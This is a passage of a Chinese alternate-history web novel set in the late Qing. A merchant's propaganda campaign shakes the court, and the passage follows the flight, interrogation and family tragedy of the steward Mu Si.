第二天清晨,整个京城轰动了。 紫禁城的宫墙上、裕王府的大门上,到处都贴满了陈逸风的九策书。更令人震惊的是,北境境内所有县城、乡镇,甚至大一点的村庄,都出现了这些传单。 朝廷震怒了。 翁同龢站在东暖阁中,目光如刀般扫过在座的满清权贵。殿内檀香缭绕,却掩不住几分肃杀之气。 这位平日里温文尔雅的帝师,此刻眼中闪烁着令人心悸的寒光。他的手指无意识地摩挲着袖口,仿佛在酝酿什么惊天之语。 “大清的根基在哪里?”他冷笑一声,声音不大,却让在座诸位王公大臣不由自主地挺直了腰背。 殿中一片寂静,连呼吸声都变得轻微起来。 “我今日就说句大不敬的话。”翁同龢环视四周,“八旗能统治中原两百年,靠的是什么?” 慈禧太后微微眯起眼睛,手中的茶盏轻轻晃动,茶水泛起细微的涟漪。 “靠的是我们这些读书人!”翁同龢的声音陡然拔高,语气中带着几分悲愤,“建立政权那会儿剃光头死守头发,是靠八旗子弟的刀剑。但后来能安定人心,让百姓臣服,全靠我们这些读书人日复一日的教化!” 他的目光在裕王脸上停留片刻,又扫向其他王公大臣。每个人都能感受到那目光中的锋芒。 “诸位可曾想过,为何五胡乱华时期,为何元朝统治,都不及我大清的国祚长久?”翁同龢的声音渐渐低沉,“就因为我们这些读书人,用儒家经典教化百姓,让他们心悦诚服!” 慈禧太后放下茶盏,眉头微皱。显然对这番话颇为不悦,但她依旧保持着沉默。 “现在八旗战力衰退,这是众所周知的事实。”翁同龢继续道,声音中带着几分苦涩,“僧阿端沁与洋人一战,损失的可都是八旗精锐。如今湘军若是北上,朝廷拿什么抵挡?” 此言一出,殿内气温骤降。几位大臣面色微变,互相交换着眼神。 慈安太后连忙使眼色,太监们会意,迅速将下人全部带离大殿。殿门轻轻合上的声音在这寂静中格外清晰。 “朝廷的刀已经钝了,如今就连发声渠道也要铲除干净??”翁同龢突然跪倒在地,额头重重叩在地上,“没有我们儒生用道德仁义约束曾国藩,诸位还有什么办法?” 裕王胤禛快步上前搀扶,脸上露出几分焦急:“叔平先生何必如此,朝廷自然明白宗学的重要性。只是这陈逸风...” “陈逸风算什么?”翁同龢冷笑着打断了他的话,“几张传单就想动摇国本?天下百姓大多不识字,那些传单最终还不是要靠我们读书人解读?” 同治帝坐在龙椅上,年轻的脸庞上闪过一丝忧虑:“但京城一日之内竟有近十万传单飞舞,这等印刷之术,这等财力...” “陛下说得对。”翁同龢眼中精光一闪,“陈逸风若只有这点本事,倒也无需太过忧虑。就怕他后面还有更大的动作。” 殿内众人陷入沉思。一时间,只有檀香袅袅升腾。 派兵剿杀吧,派少了不够,派多了这滑头必定逃之夭夭。到时候他在海上四处劫掠,还到处散布传单,朝廷的颜面何存? 不剿又不行,朝廷好不容易平定太平军和捻军,正是威望渐复之时,岂能向一个商人低头? “等护法老祖宗回来吧。”胤禛打破沉默,声音中带着几分无奈,“慕四是他们的探子,现在虽然跑了,但一定要把人找出来,或许能问出些什么。” 众人纷纷点头。这确实是当下最好的办法。 第一百四十七章 慕四的逃亡 寒风凛冽,大运河两岸的薄冰在不断蔓延。河面上漂浮着零星的碎冰,发出细微的碰撞声,仿佛在预示着即将到来的封冻季节。 慕四蜷缩在漕船的船舱角落,饥肠辘辘。破旧的棉衣已经无法抵御寒风的侵袭,他紧紧裹着身上唯一的一条薄毯,却依然止不住地发抖。船舱内弥漫着一股霉味,混杂着河水的腥气,让人难以忍受。 这一路从望海逃来,全靠船老大的接济才没饿死。每当想起望海发生的事,慕四的心就像被人狠狠攥住一般。那个叫陈逸风的商人,不仅夺走了他的一切,还想要他的命。 “吃点吧。”船老大递来一块发硬的馒头,沧桑的脸上带着几分怜悯。 慕四双手接过,声音有些哽咽:“多谢老哥。”说完便狼吞虎咽地吃了起来。冰冷坚硬的馒头磨得嗓子生疼,但他已经顾不上这些了。 船老大看着慕四狼狈的模样,忍不住叹了口气:“四爷,您当初在理事府也是有头有脸的人物,怎么落到这般田地?” 慕四咽下最后一口馒头,苦笑着摇了摇头。他不敢说,也不能说。那些不堪回首的往事,还有虎头的下落,都是他心中最深的痛。 “四爷,前面就是香河了。”船老大突然开口,“河道已经被冰封住,咱们的船过不去了。” 慕四站起身,从怀里掏出最后一点碎银子。这是他仅剩的全部家当,攒了半辈子的积蓄都在望海被抢走了。“多谢老哥这一路照应,这点银子虽然不多,但是我的一点心意。” 船老大连连摆手:“四爷,这使不得...” “收下吧。”慕四将银子塞进船老大手里,“若不是遇到老哥,我恐怕早就冻死在路上了。” 下了船,慕四数了数剩下的铜钱,不到二百文。寒风吹得他直打哆嗦,但他不敢在原地多待。这点钱别说雇车,连几顿饱饭都吃不上。可他不敢去找熟人帮忙,只能买了几个冷硬的饼子,准备徒步往京城赶。 刚走到县城街口,慕四的脚步猛地顿住。他的心跳骤然加快,额头渗出冷汗。前方茶棚里,一个熟悉的身影让他心头一跳 - 那不是望海绿营的商将军吗? 慕四赶紧闪身躲到墙角,仔细打量着商将军和他的两个亲兵。曾经意气风发的将军如今也是一副落魄模样,衣衫褴褛,面容憔悴。 “滚出去!连三碗面的钱都付不起,还敢在这装大爷?”茶棚老板指着商将军怒骂,声音中充满了轻蔑。 商将军脸涨得通红,两个亲兵眼巴巴地盯着桌上的面碗,却不敢轻举妄动。周围的食客纷纷投来异样的目光,有人窃窃私语,有人嗤笑。 慕四看在眼里,疼在心里。他和商将军也算是同病相怜,都是被陈逸风害得家破人亡。思虑再三,他从怀里掏出二十文钱,大步走了过去。 “老板,这是钱,他们的面我请了。麻烦帮我添一碗。” 商将军抬头一看,顿时红了眼眶:“四爷...”声音中带着难以掩饰的激动。 慕四按住要起身的商将军,在他耳边低声道:“都是吃了同一个人的亏,咱们该互帮互助。”说完,他坐在商将军对面,警惕地打量着四周。 四人狼吞虎咽地吃完面,商将军擦了擦嘴:“多亏遇到四爷,我们刚下船就被偷了钱袋。这一路上吃尽了苦头。” “我手里还有百来文钱,省着点应该够到京城。”慕四说道,心里却在盘算着该如何避开可能的追兵。 商将军却摇头:“四爷,不必如此。香河县令岑霖欠我人情,我去找他要几匹马。有了马,咱们很快就能到京城。” 慕四脸色大变,一股不祥的预感涌上心头:“将军,千万别去!陈逸风势力滔天,说不定已经在追杀我们,万一...” “四爷太谨慎了。”一个亲兵插嘴道,“这里离望海几百里,快到京城了,他还能把手伸这么长?” 慕四心急如焚,但商将军和亲兵已经打定主意。他们认为只要到了京城,就能找到靠山,但慕四深知陈逸风的能量有多大。 “对不住了将军,我得自己走。”慕四拱手告辞,快步出了茶棚。寒风呼啸,他的背影显得格外孤寂。 他没有走大路,而是绕道北上,准备从通州进京。多年在理事府当差的直觉告诉他,商将军恐怕凶兰大少。每走一步,他都要回头张望,生怕被人跟踪。 果然,两个时辰后,香河县衙后花园里,商将军的人头已经被装进麻袋。 差役们骑马追击慕四的方向,却扑了个空。慕四这一绕路,却阴差阳错地来到了通州。 他还没进城,就被人从水渠里跳出来套了麻袋。粗糙的麻布摩擦着脸颊,让他几乎窒息。 “少废话,香河那边早就通报了,慕四爷您就别想跑了。”一个粗犷的声音在耳边响起。 慕四瘫软在地,绝望地闭上眼睛:“完了,还是没逃出陈逸风的手掌心...” 车子在一处酒庄前停下,摘下麻袋的慕四愣住了。眼前的景象让他一时难以置信。 “要不是看在虎头的份上,你小命早没了。”押送他的人推了他一把。 穿过前院,慕四看到后院里一群孩子在练武读书。阳光下,孩子们朝气蓬勃的身影让他恍惚了一瞬。 他一眼就认出了角落里的虎头。那个让他牵肠挂肚的孙子,此刻正专注地读着书。 “虎头!”慕四扑过去抱住孙子,老泪纵横。他颤抖的手抚摸着孙子的脸,生怕这只是一场梦。 “爷爷,我掌握了老外的语言!苹果叫爱普,老虎叫泰格...”虎头奶声奶气地炫耀,完全不知道爷爷经历了怎样的苦难。 慕四紧紧抱着孙子,心如刀绞。 陈逸风的罚阁虽然手段狠辣,但并非一群丧心病狂之徒。这一点,从他们对待慕四一家的态度就能看出来。 秋七四站在窗前,望着院中那个天真烂漫的小虎头,眼底闪过一丝不忍。小家伙正和其他孩子玩耍,欢声笑语传入耳中,让她不由得想起自己的过往。她轻轻叹了口气,转身对身旁的下属说道:“虎头才六七岁,不该承担家族的罪孽。这孩子,我要收养了。” 第一百四十八章 慕四的抉择 “大人下了诛杀令?”下属压低声音问道,眼中带着几分惊疑。 “胡说八道!”秋七四瞪了他一眼,语气严厉,“大人岂是如此残忍之人?虽然慕四该死,但想杀他的人多了去了...”她的声音渐渐低了下来,目光又落在院中嬉戏的孩子们身上。 院子里,小虎头正追着一只蝴蝶跑来跑去,脸上洋溢着天真的笑容。阳光透过树叶的缝隙洒在他身上,在地上投下斑驳的影子。其他孩子也跟在他身后,笑闹声此起彼伏。 就在这时,慕大公子从后院柴房跑来。这些日子的劳动让这位养尊处贵的公子脸上多了几分风霜,身上的绿营华服也早已换成了粗布麻衣。他跌跌撞撞地跑到院中,双膝重重跪地。 “父亲!”慕大公子声音哽咽,“孩儿无能,没能护住家业...我真是个废物!”说着就要磕头,额头刚碰到地面,眼泪就止不住地往下流。 慕四站在一旁,眼角微微抽动。他环顾四周,目光在北面正房停留片刻。那里窗内人影晃动,想必大人物就在其中。他深吸一口气,缓缓走到院子中央。 “小老儿给大人叩首了!”慕四重重磕头,额头与地面相撞发出闷响,“陈先生威名,在下不敢冒犯。心里憋着的话一个字都不会说,只求大人饶我儿孙性命...若不行,至少给我小孙儿留条活路!老朽愿以命相抵!” 小虎头停下追逐蝴蝶的脚步,困惑地看着这一幕。他歪着头,天真地问道:“十四娘,您别生气了,我替爷爷和爹爹赔不是...”说着也学着磕起头来,稚嫩的额头在地上轻轻碰了碰。 秋七四看着这一幕,眼泪不自觉地滑落。她快步走到小虎头身边,将他扶起来,轻声说道:“别磕头,你没有错。”转头对身边的下属吩咐:“吴桐,你押他们三人回京城,让他们与家人团聚。” 她又对慕四说道:“你已见识过大人手段,莫存侥幸之心。小家伙让你领回家,不过...”她顿了顿,“想必用不了多久,你就会让吴桐把他送回来了。” 吴桐从屋内走出,身材精瘦,双目如电。他身上散发出一种令人不寒而栗的气势,一看便知是内家高手。他冷冷地扫了慕四一眼,说道:“行了,别磕头了。你们运气不错碰到好人了,如果预料到现在何苦当时那样做?可惜了这好端端的一个家...” 临行前的场面令人动容。十几个与虎头要好的惠民堂孩子纷纷跑来送行,每个人都带着自己的心意。有的送来木刀,有的拿出藏着的核桃和栗子,还有人掏出珍藏的西洋糖。 “虎头,这把木剑不是你的心头好吗?送你了!”一个瘦小的男孩红着眼眶说道。 “这是我藏的核桃和栗子,你带着路上吃。”另一个孩子塞给虎头一个布包。 “这是我考第一得的西洋糖,给你吧。”一个女孩怯生生地问,“你还会回来吗?” 小虎头站在马车上,兴高采烈地说:“一定回来看你们!待会儿给你们带特产的点心,可好吃了!” 谁能想到,这句童言竟成了预言。虎头的命运,注定要与这群惠民堂纠缠不清。 吴桐装作赶车的伙计,驾着马车向京城进发。他的功夫了得,马车走得又稳又快。天色渐暗时分,他们已经进了北京城。 一进城,慕四父子就察觉到不对劲。街上异常喧闹,到处都是“陈逸风九策书”的揭帖。慕四小心翼翼地掀开车帘偷看,只见无数承天府差役和雇来的百姓正在刷墙,寒风中冻得瑟瑟发抖。街上传单纷飞,身后的人疯狂挥舞着扫把。 “传承天府令!”一个官差扯着嗓子喊道,“所有百姓必须自发清理墙面,凡见九策书字纸,必须铲除!都听明白了吗?” 街上百姓缩着脖子,有气无力地应道:“听...听明白了...” 话音未落,屋顶忽然蹿出道人影,身手矫健,扬手撒出数百张传单。那人高声喊道:“京城父老乡亲们看看!陈逸风九策书,瞧瞧官府究竟有何指示!” 捕快气得跳脚,指着那个身影大喊:“快抓住他!我认得这人,上午在大栅栏也是他!”十几个捕快追了上去,那人却早已消失在夜色中。 捕快们气急败坏,目光一转就盯上了吴桐的马车。“站住!”为首的捕快厉声喝道,“大晚上进城做什么?哪家的车?” 慕四连忙掀帘笑道:“诸位大爷许久未见,上回撸串还在春暖花开时,一眨眼寒冬就到了...” “哎呦,这莫非是慕四爷?”捕快的态度立刻软了下来,“给您请安了,好久不见,您这是去哪发财来着?” 慕四在京城也算有些面子,这些衙役不敢为难,寒暄几句就放行了。等马车转过街角,那名领头的捕快急忙吩咐手下:“快去理事府找杨总管,就说慕四回京了,越快越好!” 慕四不知消息这么快就传到了理事府。此时他正在家中与亲人相拥而泣,院子里响起阵阵哭声。这段日子对慕家来说简直天塌了。老爷在望海杳无音信,儿子出门至今没有消息,劫匪绑了虎头连赎金都不要。三个男丁全没了音信,就剩下婆媳二人在苦撑家业。 家里的下人都遣散了,余下不过是些卖身契在手的下人和家仆。这些走投无路的可怜人,整日以泪洗面,大门都不敢开。如今主心骨回来了,虽然未必能重振家业,但至少团圆了。 奶奶和娘亲争着抱虎头,几个丫鬟欢天喜地准备酒宴。大难不死重逢,这顿饭一定要丰盛。凉菜已经摆好了,酒也温好了,小厨房飘出诱人的香气。 慕四不敢擅自开席,赶去门房请吴桐入座。吴桐摆摆手:“算了,你们吃团圆饭,我掺和什么?将饭菜端到门房去,这里挺暖和。” 就在此时,大门被急促拍响:“慕四!快开门!我是理事府的老孙,总管已经得知你返回的消息,请你议事!” 第一百四十九章 安德海逼问慕四 慕四一听,双腿一软瘫在地上,脸色瞬间变得惨白:“这么快?一顿团圆饭也不让碰一口?” 理事府传唤,八旗子弟谁敢怠慢?慕四刚开门,几个管事就把他塞进了马车,连告别的机会都没有。 吴桐冷眼旁观,暗叹:“十四娘说得对,大人不动手总有人会出手的。蠢货慕四,何必夹在中间?两片磨盘无事,你却要变成一堆碎末...” 慕四进了理事府偏院,见杨总管和大太监安德海脸色铁青,吓得跪地叩首:“奴才慕四,见过两位大人...” 烛光摇曳,映照着两位大人物阴晴不定的脸。沉默中,慕四已是汗如雨下,后背的衣服都湿透了。 “慕四啊...”安德海把玩着茶盖,目光阴冷如蛇,语气中带着威胁,“你这是给咱们涨面子了,望海差事办得不错?没有命令就敢回京,是不是活腻了?” 慕四不敢妄言,支支吾吾地说:“奴才想家了,这不快过年了,得回来操持...” “放屁!”杨总管拍案而起,茶杯被震得跳起来,“你慕四什么德行我还不知道?现在还想糊弄过去!说,在陈逸风那里打探到什么?为何暴动前就逃回来了?是不是有重要情报要交给朝廷?” 慕四彻底慌了。他知道,该来的终究要来。这左右为难的困境,难道当真无解?额头上的冷汗不断滑落,打湿了地上的砖缝。 安德海和杨总管对视一眼,见慕四吞吞吐吐,很是反常。安德海放下茶盖,语气缓和了些:“慕四啊,太后还念叨你呢。如今王四莲落在陈逸风手里,能提供准确情报的就剩你了。这立功机会,可别自误啊...” 慕四天旋地转,这几个月发生的一切如走马灯般在脑海中闪过:理事府的任务,望海的嚣张,与陈逸风的冲突,孙子被绑,夜军之说...朝廷和陈逸风就像两片磨盘,自己不过是中间的谷粒。磨盘稍有摩擦,自己就要粉身碎骨。 整整一刻钟,慕四终于下定决心。他磕了个头,用八旗子弟惯常的轻佻语气说道:“哎呀,二位大人说的哪里话?陈逸风不就是个会写书的商人吗?虽然有钱,但也是四民之末的商贾。写书也不过是些不入流的西学,奴才观察许久,实在没发现什么异常...” 他顿了顿,继续说道:“至于望海风潮,奴才早就坐船离开了,实在不知内情。对了,同行的人还在望海,他们回来一定能带来最新消息...” 安德海闻言大怒,左手一甩,白瓷盖碗在空中划过一道优美的弧线,重重砸在慕四面前。滚烫的茶水四溅,碎瓷片如雨点般飞散,有几片划破了慕四的脸颊,留下细密的血痕。 慕四跪在地上,双手撑地,茶水浸透了他的衣襟。他能感觉到脸上火辣辣的疼,但更让他心惊的是安德海眼中那抹疯狂的戾气。 “敢跟爷玩花活?”安德海一把掀翻了面前的檀木茶几,茶具哗啦啦碎了一地。他踱着步子,绣花缎鞋在地上发出轻微的摩擦声,“你这条老狗,真以为自己是富察氏的管家就能在爷面前耍滑头?” 这些日子,慈禧太后接连震怒,连他这个大太监都挨了好几个耳光。两个小太监已经被杖毙,整个紫禁城笼罩在一片恐怖的氛围中。太监宫女们走路都放轻了脚步,生怕惊动了哪位贵人。 而这一切的源头,都指向那个该死的陈逸风! 安德海心中怒火翻涌,一个小小的举子,居然敢如此肆无忌惮。他冲上前去,左手揪住慕四的小辫子,右手狠狠抽了过去。 啪啪啪! 一连串清脆的耳光声在房间内回荡。慕四的脸颊很快肿了起来,嘴角渗出血丝。 “说!你到底收了陈逸风多少银子?”安德海咬牙切齿地问道,“他养没养私兵?有没有谋反的意图?海上是不是有他的战船?跟洋人有什么勾结?” 每问一句,安德海就狠狠地抽一个耳光。慕四的脸已经高高肿起,嘴角不断溢出鲜血。 一旁的杨总管终于看不下去了,赶紧上前拉住安德海的胳膊:“安公公息怒,别伤了自己的身子。这老东西不值得您动这么大火气。” 安德海喘着粗气,跌坐回太师椅上。他颤抖的手指指向慕四:“杨总管你看看,这老东西太不识抬举了!一个富察氏的家奴,居然敢跟爷满嘴胡言!” 慕四趴在地上,泪水和血水混在一起:“奴才...小的感谢大人恩赐责罚...但奴才是真的什么都不知道啊...”他的声音带着哭腔,“我就是个管家,整天就在院子里转悠,见陈逸风也不过一个多月。什么私军、海船的事,哪里轮得到我知道...” 安德海冷笑一声,从袖中掏出一封信件,啪的一声拍在桌上:“这是你给陈逸风的信!字迹都对得上!还敢说不认识?” 慕四的身子猛地一颤,眼中闪过一丝慌乱。但他很快镇定下来:“那...那是富察大人让我写的...” “放屁!”安德海一脚踢在慕四胸口,“富察大人早就被革职查办了!你还想攀扯到他头上?” 杨总管见状,连忙又劝道:“安公公,这事还是从长计议。太后那边还等着消息,咱们先把人看住,慢慢审...” 安德海深吸一口气,整了整衣襟:“好,很好!我倒要看看太后听了这番话会是什么反应!”说完拂袖而去,留下满地狼藉。 杨总管叹了口气,将慕四扶起:“老兄,你是不是被陈逸风抓住什么把柄了?有朝廷撑腰,你怕什么?” 慕四嘴角抽搐了一下,没有说话。这些京城里的大人物,又怎会知道陈逸风的可怕?他亲眼见过陈逸风与洋人的交往,见过那些琉球役的画像,甚至连京东通州都有陈逸风的秘密据点。这样的人物,岂是他们能想象的? 杨总管见慕四始终不开口,也失去了耐心:“你回去好好想想吧,等着圣意降临吧。” 夜色渐深,慕四摇摇晃晃地往家走。街道上已经很少有行人,偶尔几个巡夜的衙役打着灯笼经过。他的脚步很慢,每走一步都像是在思考什么重要的决定。 第一百五十章 启文报 刚到家门口,就看见全家人焦急地等在那里。他的妻子一见他这副模样就哭了出来:“老爷,您的脸...” 慕四看见站在一旁的吴桐,立刻站直了身子:“吴大哥,带着虎头快走!再晚就来不及了!” 不顾众人惊诧的目光,慕四冲进内宅,将熟睡的虎头背了出来。孩子被惊醒了,迷迷糊糊地喊着:“爷爷...” “你这个没良心的!刚把孙子接回来又要送走?”女人们哭喊着要上前阻拦。院子里一片混乱,下人们不知所措地站在一旁。 “都给我闭嘴!”慕四厉声喝道,声音里带着从未有过的威严,“我是在救虎头的命!现在九门城已经宵禁,只有虎头还能逃出去!” 他掏出一把银票塞给吴桐:“求您善待孩子...”说完重重磕了三个头,额头在青石板上磕出血来。 吴桐接过虎头,转身消失在夜色中。慕四擦了擦眼泪,大步走进后院:“来,今天咱们吃顿团圆饭,就当是年夜饭了...” 当夜,慈禧震怒,下令紫教护法诛杀慕四满门。 五十多名秘密侍卫包围了慕四的宅院,却只看到敞开的大门和四处逃散的下人。院子里一片狼藉,桌上还留着半碗没吃完的饭菜。 “该死!慕四那废物带全家喝药去见阎王了!”为首的侍卫踹开后院的门,看到了令人心惊的一幕。 后院中,慕四一家四口已经断气,白沫从嘴角溢出。他们的脸上没有痛苦的表情,仿佛只是安详地睡着了。 “抄家!拷问这群狗腿子!”侍卫们开始在院子里翻箱倒柜。 十名被抓住的下人很快交代,慕四送走虎头后就把一家人关在房里,谁也不让靠近。他们听到里面传出说话声,但具体说了什么却不知道。 “杀光抢光!咱们也不能白跑一趟!”侍卫们挥刀砍向那些无辜的下人。惨叫声、求饶声此起彼伏,最后归于平静。 远处房顶上,吴桐紧紧捂住虎头的嘴。月光下,他能清楚地看到院子里发生的一切。 “不要哭,千万别出声,一群狠人正满城搜捕你...”他低声安慰着怀中颤抖的孩子。 “吴叔叔,他们为什么要杀我家人...”虎头抽泣着问,声音里充满了恐惧和不解。 吴桐指着远处巍峨的紫禁城:“记住,真凶就藏身此处。总有一天,我们会报这血海深仇!” 慕四和商将军的死,断绝了朝廷获取证据的希望。所有能证明陈逸风谋反的证人,都被关在了望海。而随着陈逸风的九策书传遍各地,朝廷再难轻举妄动。 北境各地的告急文书如雪片般飞向京城,陈逸风的宣传不仅没有减弱,反而开始向山东、山西、河南蔓延。大街小巷都在议论这件事。 “听说了吗?朝廷暗杀陈逸风,还毒害人家妻儿?” “洋人又来望海了,这是要打仗吗?” “两千绿营军连二百护卫都打不过,养着有什么用?” 各种议论在民间沸腾,米价都涨疯了。商贩们趁机囤积居奇,市面上人心惶惶。 朝堂之上,大臣们面面相觑。他们不明白,一个小小的举子怎么能掀起如此大的风浪。 “陈逸风到底是如何做到的?他有多少印刷能力?他究竟有多少钱?” 陈逸风的传单攻势持续了十天,终于到了最后的收官阶段。 一份名为《启文报》的报纸,在北京城突然出现。这一天,寒风凛冽,天色未明,街角已经聚集了大量百姓。他们搓着冻得通红的手,呵着白气,挤在一起取暖。 “快看,又有新的传单!”人群中不知是谁喊了一声。 街角处,几个身着绸缎的八旗子弟正拿着报纸,神色兴奋地念着上面的内容。他们的声音不大不小,恰好能让周围的人听清。 “这报纸上写的都是什么啊?”一个身材瘦小的老汉挤到前面,仰着脖子问道。 “嘿,老丈且听我细说。”一个面容清秀的八旗子弟扫了眼报纸,眼中闪过一丝揶揄,“南城大运米铺搞劣质冒充,新米掺陈米,每斗米多赚银两钱......” “什么?”老汉一把抓住那人的袖子,“那不是我家常去的米铺吗?难怪这几个月买的米总觉得不对劲!” 另一个八旗子弟接过话茬:“这里还有更精彩的!营造部员外郎肖某某巧取豪夺京西柳树沟的水浇地,害得三口人断送性命......” “裕王府夜宴,一顿饭挥霍三千五百两银子......”第三个人补充道,语气中带着几分讥讽。 周围的百姓顿时炸开了锅。这些内容都是他们身边的事,而且都是从未听说过的内幕。酒楼以次充好、药店为难穷人、官员贪腐、豪门丑闻,字字句句都戳在他们的痛处上。 “我说呢,上个月去济世堂抓药,那掌柜的脸色比药还苦。” “可不是嘛!前几天我去醉月楼,点的是上等菜品,端上来的却是普通货色。” 人群中议论纷纷,有人愤怒,有人唏嘘,更多的是对这些揭露黑暗的报纸充满好奇。 “这些事当真?”一个穿着体面的中年人皱眉问道。 “千真万确!”那个面容清秀的八旗子弟拍着胸脯说,“我二舅就在营造部当差,这事他都知道。不信您去打听打听,看看是不是这么回事。” 消息如同一把星星之火,在寒风中迅速蔓延。街坊邻里之间传递着这些惊人的内幕,有人甚至将报纸撕下带回家中。等承天府的衙役闻讯赶到时,街上早已空空如也,只剩下几张被风吹起的碎纸在空中打着旋。 “该死的!又让他们跑了!”带队的千户气得直跺脚。 为了对付这些打一枪换一个地方的“游击队”,他们这些天可没少吃苦头。甚至请来了大内高手,这京城当真广阔无边,根本防不胜防。更要命的是,被报纸点名的官员和商家蜂拥而至,把承天府挤得水泄不通。 “大人,这是污蔑!必须严惩造谣者!”一个肥头大耳的商人跪在地上,额头上的汗珠不停滚落。 第一百五十一章 报纸的力量 “就是就是,还请大人为我们做主啊!”其他人也纷纷附和。 承天府尹坐在公案后,冷眼看着这群人。他们平日里作威作福,现在倒来喊冤?真是可笑。不过这些话他只能在心里说说,面上还要装作为难的样子。 “诸位请放心,本府一定会彻查此事。”他揉了揉太阳穴,“不过在事情水落石出之前,还请各位约束一下自己的行为......” 话音未落,外面又传来一阵喧哗。又有新的“受害者”来告状了。 当天下午,一份联名告状的奏折就递进了紫禁城。慈安太后看完奏折,勃然大怒,连手中的茶盏都摔在了地上。 “这些无耻之徒,做尽坏事还想朝廷给他们遮丑?来人,传令承天府彻查这些不良商人,一个都不许放过!” 殿内的大臣们噤若寒蝉,没人敢吭声。只有裕王小心翼翼地问道:“那些官员......” “令他们滚回去反省检讨!若查实有罪,决不轻饶!”慈安太后冷冷地说。 就在这时,安德海突然开口:“老佛爷,现在最要紧的是抓住陈逸风,还有他在宫里的内应......”说着,他的目光瞥向角落里的远虎。 话音未落,一杯滚烫的茶水泼在了他脸上。安德海捂着脸,不敢置信地看着慈安太后。 “狗奴才,谁让你议政了?来人,杖责三十!” 两个小太监立刻冲上来,将安德海拖了出去。凄厉的惨叫声不绝于耳,直到沈含杰出去打了个招呼,后面的板子才放轻了力道。 慈安平复了一下心情,转向远虎:“你过来,我有话问你。” 远虎战战兢兢地上前,跪在地上。 “你去告诉你干爹,让他停手吧。”慈安太后的声音缓和了下来,“开学堂也好,做生意也罢,只要不是谋反,朝廷都可以商量。就说......”她顿了顿,似乎在斟酌用词,“竟然让本宫对他服软。” 这话一出,殿内鸦雀无声。所有人都屏住了呼吸,不敢相信自己的耳朵。堂堂太后,居然向一个商人低头? 远虎连忙叩头,眼泪止不住地往下流:“太后息怒!干爹绝无谋反之心,都是被逼无奈啊!” “奴才永远是皇家的奴才。干爹对我有恩,但比不上皇恩浩荡。求太后开恩,让奴才做个传话的......” 同治帝见状,忙说道:“起来吧,朕相信你。” 远虎这才将陈逸风的条件一一道来:澄清谣言、制止雅流、赔偿损失。这些条件都在预料之中,但最后一条却让所有人都变了脸色。 “望海港的治安权,要由商人卫队自行负责?”慈安太后的声音陡然提高。 殿内的气氛瞬间凝固了。大臣们面面相觑,谁都没想到陈逸风会提出这样的要求。这已经不是简单的商业利益了,而是涉及到了地方治安权。如果答应了这个条件,就等于默认了商人势力可以染指地方治安,这是一个极其危险的信号。 “这......”裕王欲言又止。 慈安太后闭上眼睛,深吸一口气。她知道,这是一个艰难的抉择。如果拒绝,陈逸风的报纸攻势很可能会继续。如果答应,又会开启一个危险的先例。 “这四条,是陈逸风告诉你的?”慈禧的声音冷得像冰,眼神锐利如刀。 远虎跪在地上,额头紧贴冰冷的地砖:“回...回太后,所有密函皆出自义母府上,靠义母家的千里马与义父书信往来。此乃最近递来的两份密函...” 同治帝也怒不可遏,脸涨得通红:“你去告诉他,前三条朝廷可以容忍,第四条休想!豁出去这张脸又如何,也要将他斩草除根!” 肃亲孙站在一旁,眉头紧锁。事情发展到这一步,已经没有回旋的余地。他轻咳一声:“天津八旗都统端阳那里有马队三千,步军两万,一半都配备了洋枪。对付一个小小的明月商行,绰绰有余。” 慈安太后坐在软塌上,手中的佛珠转得飞快:“如今最重要的是外邦人如何站队。议政衙门要提前跟各国使节打好招呼,保证会保护洋商利益。” “只要行动够快够隐秘,就算洋人也只能认了。”她补充道。 小皇帝坐立不安:“若是此人率船队骚扰沿海该如何应对?” 肃亲孙笑道:“皇上不必担心,现在淮河已经封冻,渤海也快结冰了。他就算想跑也跑不了。” “就算让他跑了又如何?”慈禧咬牙道,“他不过几百护卫,能翻出多大浪?长毛之乱都挺过来了,还怕他一个二鬼子?” 夜幕降临,京城笼罩在一片寒意中。 秋七四刚从一个秘密会面回来,就收到了消息。两万三千八旗兵要围攻望海,这可不是闹着玩的。她立刻放出信鸽,召集京城罚阁所有中高层在酒庄密会。 酒庄的密室里,烛光摇曳。十几个面色凝重的男人围坐在一张圆桌旁,空气中弥漫着紧张的气息。 “情况就是这样,”秋七四站在桌前,手指敲击着桌面,“朝廷这次是动了真格的。” 一个瘦高个子开口:“要不要通知陈先生先撤?” “来不及了,”秋七四摇头,“这个时候,八旗兵马估计已经在路上了。” 这个时代没有电报,也没有传信工具,一切都要靠现场应变。原本陈逸风是想谈判的,但他低估了朝廷的愤怒。望海接连两次暴乱,朝廷的颜面已经丢尽了。 “弟兄们,”秋七四眼中闪着寒光,“我有个计划,且看你们有几分胆量!” 她从怀中掏出一份手稿:“这是新的启文报内容,我们要把宣传战升级,把消息扩散到长江流域去。让天下人都知道,朝廷是如何对待自己的子民!” “干了!”众人异口同声,拳头砸在桌上,震得烛光乱颤,“既然官府如此不要面皮,那就玩把大的!叫他们在天下人面前丢尽颜面!” 第二天一早,信鸽带着密信飞向上海,飞向南方的史鹏将军。京城周边的秘密印刷点开始忙碌,新一期的启文报和传单很快就印好了。 这一天异常平静,衙役和士兵们一整天都没发现一张传单。他们还约好了晚上去喝酒庆祝。 第一百五十二章 京城危机的爆发 可就在他们准备开涮时,爆炸性的消息传来了:朝廷要派兵血洗望海城!两万三千八旗铁骑即将包围望海! 整个京城瞬间沸腾。茶馆、酒楼、街头巷尾,到处都在议论这个消息。有人说陈逸风是叛逆,该杀;有人说朝廷太霸道,不讲理;更多的人在担心,这场风波会不会影响到自己的生意。 消息如野火般蔓延,很快传遍了北境,并向全国扩散。街头巷尾,茶馆酒肆,处处都能听到人们的议论。有人忧心忡忡,有人幸灾乐祸,更多的人在观望。 寒风呼啸,卷起地上的落叶和传单,在空中打着旋。 酒馆内,羊肉的香气四溢,混合着各色调料的味道,让人食指大动。 紫铜火锅里的汤汁已经快要见底,红油翻滚,辣椒和花椒的香气扑面而来。但食客们却无心顾及眼前的美食,三三两两聚在一起,压低声音交谈着。 “诶,你们听说了吗?这朝廷也太不讲理了,人家陈逸风做个海商怎么了?一年几千万两银子的买卖,养几百个保镖不过分吧?”一个身着蓝色长衫的食客用筷子戳着碗里的羊肉,愤愤不平地说道。 “可不是嘛!”旁边的汉子放下手中的酒碗,凑近了些,“前几天还派人去暗杀人家,连人家小妾都不放过,这事办得太不地道了。那些刺客个个都是训练有素的好手,要不是陈逸风早有准备......” “嘘,小声点!”对面的食客连忙做了个噤声的手势,“我听说那王四莲勾结锦衣军,想要洗劫望海的商人,这事是真的吗?” 